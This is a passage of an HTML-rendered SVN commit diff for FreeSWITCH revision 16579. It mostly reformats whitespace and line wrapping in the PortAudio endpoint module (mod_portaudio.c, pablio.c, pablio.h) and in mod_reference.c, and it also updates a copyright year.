</span><span class="lines">@@ -1135,21 +1137,22 @@
</span><span class="cx">                 for (i = 0; i &lt; numDevices; i++) {
</span><span class="cx">                         deviceInfo = Pa_GetDeviceInfo(i);
</span><span class="cx">                         hostApiInfo = Pa_GetHostApiInfo(deviceInfo-&gt;hostApi);
</span><del>-                        stream-&gt;write_function(stream, &quot;\t\t&lt;device id=\&quot;%d\&quot; name=\&quot;%s\&quot; hostapi=\&quot;%s\&quot; inputs=\&quot;%d\&quot; outputs=\&quot;%d\&quot; /&gt;\n&quot;, i, deviceInfo-&gt;name, hostApiInfo-&gt;name, deviceInfo-&gt;maxInputChannels, deviceInfo-&gt;maxOutputChannels);
</del><ins>+                        stream-&gt;write_function(stream, &quot;\t\t&lt;device id=\&quot;%d\&quot; name=\&quot;%s\&quot; hostapi=\&quot;%s\&quot; inputs=\&quot;%d\&quot; outputs=\&quot;%d\&quot; /&gt;\n&quot;, i, deviceInfo-&gt;name,
+                                                                   hostApiInfo-&gt;name, deviceInfo-&gt;maxInputChannels, deviceInfo-&gt;maxOutputChannels);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;\t&lt;/devices&gt;\n\t&lt;bindings&gt;\n&quot;
</span><del>-                                &quot;\t\t&lt;ring device=\&quot;%d\&quot; /&gt;\n&quot;
-                                &quot;\t\t&lt;input device=\&quot;%d\&quot; /&gt;\n&quot;
-                                &quot;\t\t&lt;output device=\&quot;%d\&quot; /&gt;\n&quot;
-                                &quot;\t&lt;/bindings&gt;\n&lt;/xml&gt;\n&quot;, globals.ringdev, globals.indev, globals.outdev);
</del><ins>+                                                           &quot;\t\t&lt;ring device=\&quot;%d\&quot; /&gt;\n&quot;
+                                                           &quot;\t\t&lt;input device=\&quot;%d\&quot; /&gt;\n&quot;
+                                                           &quot;\t\t&lt;output device=\&quot;%d\&quot; /&gt;\n&quot; &quot;\t&lt;/bindings&gt;\n&lt;/xml&gt;\n&quot;, globals.ringdev, globals.indev, globals.outdev);
</ins><span class="cx">         } else {
</span><span class="cx"> 
</span><span class="cx">                 for (i = 0; i &lt; numDevices; i++) {
</span><span class="cx">                         deviceInfo = Pa_GetDeviceInfo(i);
</span><span class="cx">                         hostApiInfo = Pa_GetHostApiInfo(deviceInfo-&gt;hostApi);
</span><span class="cx"> 
</span><del>-                        stream-&gt;write_function(stream, &quot;%d;%s(%s);%d;%d;&quot;, i, deviceInfo-&gt;name, hostApiInfo-&gt;name, deviceInfo-&gt;maxInputChannels, deviceInfo-&gt;maxOutputChannels);
</del><ins>+                        stream-&gt;write_function(stream, &quot;%d;%s(%s);%d;%d;&quot;, i, deviceInfo-&gt;name, hostApiInfo-&gt;name, deviceInfo-&gt;maxInputChannels,
+                                                                   deviceInfo-&gt;maxOutputChannels);
</ins><span class="cx"> 
</span><span class="cx">                         prev = 0;
</span><span class="cx">                         if (globals.ringdev == i) {
</span><span class="lines">@@ -1268,7 +1271,7 @@
</span><span class="cx">                 inputParameters.sampleFormat = paInt16;
</span><span class="cx">                 inputParameters.suggestedLatency = deviceInfo-&gt;defaultLowInputLatency;        /* ignored by Pa_IsFormatSupported() */
</span><span class="cx">                 inputParameters.hostApiSpecificStreamInfo = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 outputParameters.device = i;
</span><span class="cx">                 outputParameters.channelCount = deviceInfo-&gt;maxOutputChannels;
</span><span class="cx">                 outputParameters.sampleFormat = paInt16;
</span><span class="lines">@@ -1287,14 +1290,14 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (inputParameters.channelCount &gt; 0 &amp;&amp; outputParameters.channelCount &gt; 0) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
</span><span class="cx">                                                           &quot;full-duplex 16 bit %d channel input, %d channel output rates:&quot;, inputParameters.channelCount,
</span><span class="cx">                                                           outputParameters.channelCount);
</span><span class="cx">                         PrintSupportedStandardSampleRates(&amp;inputParameters, &amp;outputParameters);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s&quot;, line);
</span><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="lines">@@ -1355,8 +1358,7 @@
</span><span class="cx">                 if (switch_core_codec_init(&amp;globals.write_codec,
</span><span class="cx">                                                                    &quot;L16&quot;,
</span><span class="cx">                                                                    NULL,
</span><del>-                                                                   sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
-                                                                   NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                   sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't load codec?\n&quot;);
</span><span class="cx">                         switch_core_codec_destroy(&amp;globals.read_codec);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1428,7 +1430,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(globals.device_lock);
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (err != paNoError) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't open audio device\n&quot;);
</span><span class="cx">                 switch_core_codec_destroy(&amp;globals.read_codec);
</span><span class="lines">@@ -1442,7 +1444,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Engage audio device rate: %d channels %d\n&quot;, sample_rate, outputParameters.channelCount);
</span><span class="cx"> 
</span><span class="cx">         engage_ring_device();
</span><span class="lines">@@ -1452,7 +1454,7 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t engage_ring_device(void)
</span><span class="cx"> {
</span><del>-        PaStreamParameters outputParameters = {0};
</del><ins>+        PaStreamParameters outputParameters = { 0 };
</ins><span class="cx">         PaError err;
</span><span class="cx">         int sample_rate = globals.sample_rate;
</span><span class="cx">         int channels = 1;
</span><span class="lines">@@ -1475,7 +1477,7 @@
</span><span class="cx">                 outputParameters.sampleFormat = SAMPLE_TYPE;
</span><span class="cx">                 outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device)-&gt;defaultLowOutputLatency;
</span><span class="cx">                 outputParameters.hostApiSpecificStreamInfo = NULL;
</span><del>-                err = OpenAudioStream(&amp;globals.ring_stream, NULL, 
</del><ins>+                err = OpenAudioStream(&amp;globals.ring_stream, NULL,
</ins><span class="cx">                                                           &amp;outputParameters, sample_rate, paClipOff, globals.read_codec.implementation-&gt;samples_per_packet, globals.dual_streams);
</span><span class="cx">                 /* UNLOCKED ************************************************************************************************* */
</span><span class="cx">                 switch_mutex_unlock(globals.device_lock);
</span><span class="lines">@@ -1490,7 +1492,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- error:
</del><ins>+  error:
</ins><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't open ring device\n&quot;);
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1526,8 +1528,8 @@
</span><span class="cx">         private_t *tp, *tech_pvt = NULL;
</span><span class="cx">         char *callid = argv[0];
</span><span class="cx">         uint8_t one_call = 0;
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.pvt_lock);
</span><span class="cx">         if (zstr(callid)) {
</span><span class="cx">                 if (globals.call_list) {
</span><span class="lines">@@ -1809,7 +1811,7 @@
</span><span class="cx">                         switch_channel_mark_answered(channel);
</span><span class="cx">                         switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                         if (switch_core_session_thread_launch(tech_pvt-&gt;session) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                switch_event_t *event;
</del><ins>+                                switch_event_t *event;
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Error spawning thread\n&quot;);
</span><span class="cx">                                 switch_core_session_destroy(&amp;session);
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;FAIL:Thread Error!\n&quot;);
</span><span class="lines">@@ -1878,8 +1880,7 @@
</span><span class="cx">                 &quot;pa outdev #&lt;num&gt;|&lt;partial name&gt;\n&quot;
</span><span class="cx">                 &quot;pa ringdev #&lt;num&gt;|&lt;partial name&gt;\n&quot;
</span><span class="cx">                 &quot;pa play [ringtest|&lt;filename&gt;]\n&quot;
</span><del>-                &quot;pa ringfile [filename]\n&quot;
-                &quot;pa looptest\n&quot; &quot;--------------------------------------------------------------------------------\n&quot;;
</del><ins>+                &quot;pa ringfile [filename]\n&quot; &quot;pa looptest\n&quot; &quot;--------------------------------------------------------------------------------\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (stream-&gt;param_event) {
</span><span class="lines">@@ -2029,7 +2030,7 @@
</span><span class="cx">                 int samples = 0;
</span><span class="cx">                 int seconds = 5;
</span><span class="cx">                 int wrote = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.call_list) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;ERROR: Cannot use this command this while a call is in progress\n&quot;);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2050,7 +2051,7 @@
</span><span class="cx">                                                                           SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_size_t olen = globals.read_codec.implementation-&gt;samples_per_packet;
</span><span class="cx">                                 int16_t abuf[2048];
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (argv[2]) {
</span><span class="cx">                                         int i = atoi(argv[2]);
</span><span class="cx">                                         if (i &gt;= 0) {
</span><span class="lines">@@ -2069,16 +2070,16 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                         olen = globals.read_codec.implementation-&gt;samples_per_packet;
</span><del>-                                } 
-                                
</del><ins>+                                }
+
</ins><span class="cx">                                 switch_core_file_close(&amp;fh);
</span><span class="cx">                                 deactivate_audio_device();
</span><span class="cx"> 
</span><span class="cx">                                 seconds = wrote / globals.read_codec.implementation-&gt;actual_samples_per_second;
</span><del>-                                stream-&gt;write_function(stream, &quot;playback test [%s] %d second(s) %d samples @%dkhz&quot;, 
</del><ins>+                                stream-&gt;write_function(stream, &quot;playback test [%s] %d second(s) %d samples @%dkhz&quot;,
</ins><span class="cx">                                                                            playfile, seconds, wrote, globals.read_codec.implementation-&gt;actual_samples_per_second);
</span><del>-                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         } else {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;Cannot play requested file %s\n&quot;, argv[1]);
</span><span class="cx">                         }
</span><span class="lines">@@ -2096,9 +2097,9 @@
</span><span class="cx">                         int samples = 0;
</span><span class="cx">                         int success = 0;
</span><span class="cx">                         int i;
</span><del>-                        for(i = 0; i &lt; 400; i++) {
</del><ins>+                        for (i = 0; i &lt; 400; i++) {
</ins><span class="cx">                                 if ((samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
</span><del>-                                                globals.read_codec.implementation-&gt;samples_per_packet, &amp;globals.read_timer))) {
</del><ins>+                                                                                           globals.read_codec.implementation-&gt;samples_per_packet, &amp;globals.read_timer))) {
</ins><span class="cx">                                         WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &amp;globals.write_timer);
</span><span class="cx">                                         success = 1;
</span><span class="cx">                                 }
</span><span class="lines">@@ -2117,10 +2118,10 @@
</span><span class="cx">                         if (engage_device(0) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_file_handle_t fh = { 0 };
</span><span class="cx">                                 if (switch_core_file_open(&amp;fh,
</span><del>-                                                        argv[1],
-                                                        globals.read_codec.implementation-&gt;number_of_channels,
-                                                        globals.read_codec.implementation-&gt;actual_samples_per_second,
-                                                        SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                  argv[1],
+                                                                                  globals.read_codec.implementation-&gt;number_of_channels,
+                                                                                  globals.read_codec.implementation-&gt;actual_samples_per_second,
+                                                                                  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_core_file_close(&amp;fh);
</span><span class="cx">                                         set_global_ring_file(argv[1]);
</span><span class="cx">                                 } else {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_portaudiopablioc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -56,12 +56,14 @@
</span><span class="cx"> /************************************************************************/
</span><span class="cx"> 
</span><span class="cx"> static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                          unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
-static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
-                                                          unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
</del><ins>+                                                           unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+                                                           void *userData);
+static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo,
+                                                           PaStreamCallbackFlags statusFlags, void *userData);
</ins><span class="cx"> 
</span><span class="cx"> static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                                unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
</del><ins>+                                                                unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+                                                                void *userData);
</ins><span class="cx"> 
</span><span class="cx"> static PaError PABLIO_InitFIFO(PaUtilRingBuffer * rbuf, long numFrames, long bytesPerFrame);
</span><span class="cx"> static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
</span><span class="lines">@@ -74,7 +76,7 @@
</span><span class="cx">  * Read and write data 
</span><span class="cx">  */
</span><span class="cx"> static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                          unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</del><ins>+                                                           unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</ins><span class="cx"> {
</span><span class="cx">         PABLIO_Stream *data = (PABLIO_Stream *) userData;
</span><span class="cx">         long numBytes = data-&gt;bytesPerFrame * framesPerBuffer;
</span><span class="lines">@@ -91,7 +93,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                          unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</del><ins>+                                                           unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</ins><span class="cx"> {
</span><span class="cx">         PABLIO_Stream *data = (PABLIO_Stream *) userData;
</span><span class="cx">         long numBytes = data-&gt;bytesPerFrame * framesPerBuffer;
</span><span class="lines">@@ -109,7 +111,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
</span><del>-                                                          unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
</del><ins>+                                                                unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+                                                                void *userData)
</ins><span class="cx"> {
</span><span class="cx">         iblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
</span><span class="cx">         oblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
</span><span class="lines">@@ -151,7 +154,7 @@
</span><span class="cx">         bytesWritten = PaUtil_WriteRingBuffer(&amp;aStream-&gt;outFIFO, p, numBytes);
</span><span class="cx">         numBytes -= bytesWritten;
</span><span class="cx">         p += bytesWritten;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (numBytes &gt; 0) {
</span><span class="cx">                 PaUtil_FlushRingBuffer(&amp;aStream-&gt;outFIFO);
</span><span class="cx">                 return 0;
</span><span class="lines">@@ -172,7 +175,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_timer_next(timer);
</span><span class="cx"> 
</span><del>-        while(totalBytes &lt; neededBytes &amp;&amp; --max &gt; 0) {
</del><ins>+        while (totalBytes &lt; neededBytes &amp;&amp; --max &gt; 0) {
</ins><span class="cx"> 
</span><span class="cx">                 avail = PaUtil_GetRingBufferReadAvailable(&amp;aStream-&gt;inFIFO);
</span><span class="cx">                 //printf(&quot;AVAILABLE BYTES %ld pass %d\n&quot;, avail, 5000 - max);
</span><span class="lines">@@ -182,7 +185,7 @@
</span><span class="cx">                 } else {
</span><span class="cx"> 
</span><span class="cx">                         bytesRead = 0;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (totalBytes &lt; neededBytes &amp;&amp; avail &gt;= neededBytes) {
</span><span class="cx">                                 bytesRead = PaUtil_ReadRingBuffer(&amp;aStream-&gt;inFIFO, p, neededBytes);
</span><span class="cx">                                 totalBytes += bytesRead;
</span><span class="lines">@@ -241,10 +244,7 @@
</span><span class="cx">  */
</span><span class="cx"> PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
</span><span class="cx">                                                 const PaStreamParameters * inputParameters,
</span><del>-                                                const PaStreamParameters * outputParameters, 
-                                                double sampleRate, PaStreamFlags streamFlags, 
-                                                long samples_per_packet,
-                                                int do_dual)
</del><ins>+                                                const PaStreamParameters * outputParameters, double sampleRate, PaStreamFlags streamFlags, long samples_per_packet, int do_dual)
</ins><span class="cx"> {
</span><span class="cx">         long bytesPerSample = 2;
</span><span class="cx">         PaError err;
</span><span class="lines">@@ -261,7 +261,7 @@
</span><span class="cx">         aStream = (PABLIO_Stream *) malloc(sizeof(PABLIO_Stream));
</span><span class="cx">         switch_assert(aStream);
</span><span class="cx">         memset(aStream, 0, sizeof(PABLIO_Stream));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (inputParameters) {
</span><span class="cx">                 channels = inputParameters-&gt;channelCount;
</span><span class="cx">         } else if (outputParameters) {
</span><span class="lines">@@ -278,7 +278,7 @@
</span><span class="cx">                 if (err != paNoError) {
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><del>-                aStream-&gt; has_in = 1;
</del><ins>+                aStream-&gt;has_in = 1;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (outputParameters) {
</span><span class="lines">@@ -286,13 +286,13 @@
</span><span class="cx">                 if (err != paNoError) {
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><del>-                aStream-&gt; has_out = 1;
</del><ins>+                aStream-&gt;has_out = 1;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Open a PortAudio stream that we will use to communicate with the underlying
</span><span class="cx">          * audio drivers. */
</span><span class="cx"> 
</span><del>-        aStream-&gt;do_dual = do_dual;        
</del><ins>+        aStream-&gt;do_dual = do_dual;
</ins><span class="cx"> 
</span><span class="cx">         if (aStream-&gt;do_dual) {
</span><span class="cx">                 err = Pa_OpenStream(&amp;aStream-&gt;istream, inputParameters, NULL, sampleRate, samples_per_packet, streamFlags, iblockingIOCallback, aStream);
</span><span class="lines">@@ -304,16 +304,18 @@
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                err = Pa_OpenStream(&amp;aStream-&gt;iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback, aStream);
</del><ins>+                err =
+                        Pa_OpenStream(&amp;aStream-&gt;iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback,
+                                                  aStream);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (err != paNoError) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (aStream-&gt;do_dual) {
</span><span class="cx">                 err = Pa_StartStream(aStream-&gt;istream);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (err != paNoError) {
</span><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="lines">@@ -335,7 +337,7 @@
</span><span class="cx">         *rwblPtr = aStream;
</span><span class="cx"> 
</span><span class="cx">         switch_yield(500000);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return paNoError;
</span><span class="cx"> 
</span><span class="cx">   error:
</span><span class="lines">@@ -352,7 +354,7 @@
</span><span class="cx">         int bytesEmpty;
</span><span class="cx">         int byteSize;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         byteSize = aStream-&gt;outFIFO.bufferSize;
</span><span class="cx"> 
</span><span class="cx">         if (aStream-&gt;has_out) {
</span><span class="lines">@@ -375,7 +377,7 @@
</span><span class="cx">                         Pa_CloseStream(aStream-&gt;istream);
</span><span class="cx">                         aStream-&gt;istream = NULL;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (aStream-&gt;has_out &amp;&amp; aStream-&gt;ostream) {
</span><span class="cx">                         if (Pa_IsStreamActive(aStream-&gt;ostream)) {
</span><span class="cx">                                 Pa_StopStream(aStream-&gt;ostream);
</span><span class="lines">@@ -384,7 +386,7 @@
</span><span class="cx">                         Pa_CloseStream(aStream-&gt;ostream);
</span><span class="cx">                         aStream-&gt;ostream = NULL;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if (aStream-&gt;iostream) {
</span><span class="cx">                         if (Pa_IsStreamActive(aStream-&gt;iostream)) {
</span><span class="lines">@@ -396,10 +398,10 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (aStream-&gt;has_in) {        
</del><ins>+        if (aStream-&gt;has_in) {
</ins><span class="cx">                 PABLIO_TermFIFO(&amp;aStream-&gt;inFIFO);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (aStream-&gt;has_out) {
</span><span class="cx">                 PABLIO_TermFIFO(&amp;aStream-&gt;outFIFO);
</span><span class="cx">         }
</span><span class="lines">@@ -409,4 +411,3 @@
</span><span class="cx"> 
</span><span class="cx">         return paNoError;
</span><span class="cx"> }
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_portaudiopablioh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -109,7 +109,7 @@
</span><span class="cx">  */
</span><span class="cx">         PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
</span><span class="cx">                                                         const PaStreamParameters * inputParameters,
</span><del>-                                                        const PaStreamParameters * outputParameters, 
</del><ins>+                                                        const PaStreamParameters * outputParameters,
</ins><span class="cx">                                                         double sampleRate, PaStreamCallbackFlags statusFlags, long samples_per_packet, int do_dual);
</span><span class="cx"> 
</span><span class="cx">         PaError CloseAudioStream(PABLIO_Stream * aStream);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_referencemod_referencec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -106,7 +106,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -200,7 +201,7 @@
</span><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -414,7 +415,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         if ((*new_session = switch_core_session_request(reference_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="cx">                 private_t *tech_pvt;
</span><span class="lines">@@ -447,8 +449,6 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-
-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="lines">@@ -480,13 +480,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
-    /*.on_hibernate*/ NULL,
-    /*.on_reset*/ NULL,
-    /*.on_park*/ NULL,
-    /*.on_reporting*/ NULL,
-    /*.on_destroy*/ channel_on_destroy
-
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> switch_io_routines_t reference_io_routines = {
</span><span class="lines">@@ -591,13 +590,13 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_yield(20000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Free dynamically allocated strings */
</span><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.codec_string);
</span><span class="cx">         switch_safe_free(globals.codec_rates_string);
</span><span class="cx">         switch_safe_free(globals.ip);
